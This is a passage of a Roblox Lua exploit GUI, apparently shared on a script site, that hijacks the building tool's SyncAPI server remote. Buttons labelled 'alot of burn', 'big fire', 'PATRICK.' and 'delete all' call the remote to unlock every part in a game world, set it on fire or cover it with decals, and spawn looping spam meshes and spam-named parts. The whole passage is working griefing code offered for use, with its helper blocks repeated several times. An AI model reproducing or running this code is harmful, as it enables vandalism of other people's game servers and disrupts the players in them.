				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("107003562722788")
	
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
			-- DO NOT DELETE THIS LEAVE MY CREDIT
	
			-- Rain Toad Script By ItsKittyyyGD
	
			local player = game.Players.LocalPlayer
			local char = player.Character or player.CharacterAdded:Wait()
			local tool
	
			for i, v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			for i, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			local remote = tool.SyncAPI.ServerEndpoint
	
			function _(args)
				remote:InvokeServer(unpack(args))
			end
	
			function SetCollision(part, boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
	
			function SetAnchor(boolean, part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
	
			function CreatePart(cf)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = workspace
				}
				_(args)
			end
	
			function Resize(part, size, cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
	
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part, meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://" .. meshid
						}
					}
				}
				_(args)
			end
	
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://" .. texid
						}
					}
				}
				_(args)
			end
	
			function MeshResize(part, size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
	
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
				_(args)
			end
	
			function Sky(id)
				local hrp = char:WaitForChild("HumanoidRootPart")
				local cf = hrp.CFrame
				CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
				for _, v in workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
						SetAnchor(true, v)
						AddMesh(v)
						SetMesh(v, "14832966960")
						SetTexture(v, id)
						MeshResize(v, Vector3.new(0, 0, 0))
					end
				end
			end
	
			local function createRainToads()
				while true do
					wait(0.01) -- Here they change the appearance time of the Toads or other meshes
					if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
						local hrpcf = player.Character.HumanoidRootPart.CFrame
						local x = hrpcf.x
						local z = hrpcf.z
						local randint = math.random(-200, 200)
						local randint2 = math.random(-200, 200)
						local xloc = randint + x
						local zloc = randint2 + z
						local cf = player.Character.HumanoidRootPart.CFrame.y + 0
	
						spawn(function()
							local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 40), math.floor(zloc)))
							for i, v in game.Workspace:GetDescendants() do
								if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
									SetName(v, "shrek daddy owo") -- Here the name of the toad changes
									SetAnchor(true, v)
									AddMesh(v)
									Resize(v, Vector3.new(10, 18, 3), v.CFrame)
									MeshResize(v, Vector3.new(1, 1, 1))
									SetMesh(v, "4532642502") -- Here put it A custom mesh
									SetTexture(v, "4532642578") -- X2
									SetCollision(v, true)
									v.Orientation = Vector3.new(0, 0, 0)
	
									v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
	
									local sound = Instance.new("Sound", v)
									sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
									sound.Volume = 0
									sound.PlayOnRemove = true
									sound:Destroy()
								end
							end
						end)
					else
						wait(1)
					end
				end
			end
	
			coroutine.wrap(createRainToads)()
	
			Sky("98314626230473") -- Here they change the skybox id
	
			-- Delete this if you are going to Use it in another script
	
			-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.66, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "alot of burn (may fuck up ur ping)"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 17
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function AddFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}
				_(args)
			end
			function FireParts()
				for i,v in game.Workspace:GetDescendants() do
					spawn(function()
						SetLocked(v,false)
						AddFire(v)
					end)
				end
			end
			FireParts()
	
			local player = game.Players.LocalPlayer
			wait(0.5)
	
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function AddFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}
				_(args)
			end
			function FireParts()
				for i,v in game.Workspace:GetDescendants() do
					spawn(function()
						SetLocked(v,false)
						AddFire(v)
					end)
				end
			end
			FireParts()
	
			local player = game.Players.LocalPlayer
			wait(0.5)
	
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function AddFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}
				_(args)
			end
			function FireParts()
				for i,v in game.Workspace:GetDescendants() do
					spawn(function()
						SetLocked(v,false)
						AddFire(v)
					end)
				end
			end
			FireParts()
	
			local player = game.Players.LocalPlayer
			wait(0.5)
	
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function AddFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}
				_(args)
			end
			function FireParts()
				for i,v in game.Workspace:GetDescendants() do
					spawn(function()
						SetLocked(v,false)
						AddFire(v)
					end)
				end
			end
			FireParts()
	
			local player = game.Players.LocalPlayer
			wait(0.5)
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.66, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "PATRICK."
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Krab(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,76,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"455783801")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(1,1,1))
						SetLocked(v,true)
					end
				end
			end
			Krab("106211613892663")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.66, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "big fire"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local function applyDecorationToPart(part)
				local argsCreate = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}
	
				local argsSync = {
					[1] = "SyncDecorate",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire",
							["Size"] = 20
						}
					}
				}
	
				local buildingTools = nil
				local player = game:GetService("Players").LocalPlayer
	
				-- Search for the tool in Character and Backpack
				for _, item in pairs(player.Character:GetChildren()) do
					if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
						buildingTools = item
						break
					end
				end
	
				if not buildingTools then
					for _, item in pairs(player.Backpack:GetChildren()) do
						if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
							buildingTools = item
							break
						end
					end
				end
	
				if buildingTools then
					buildingTools.SyncAPI.ServerEndpoint:InvokeServer(unpack(argsCreate))
					buildingTools.SyncAPI.ServerEndpoint:InvokeServer(unpack(argsSync))
				elseif not warned then
					warn("Building tool not found")
					warned = true
				end
			end
	
			local function applyDecorationToAllParts(workspaceObject)
				for _, obj in pairs(workspaceObject:GetDescendants()) do
					if obj:IsA("Part") or obj:IsA("MeshPart") then
						applyDecorationToPart(obj)
					end
				end
			end
	
			applyDecorationToAllParts(workspace)
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.66, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "delete all"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
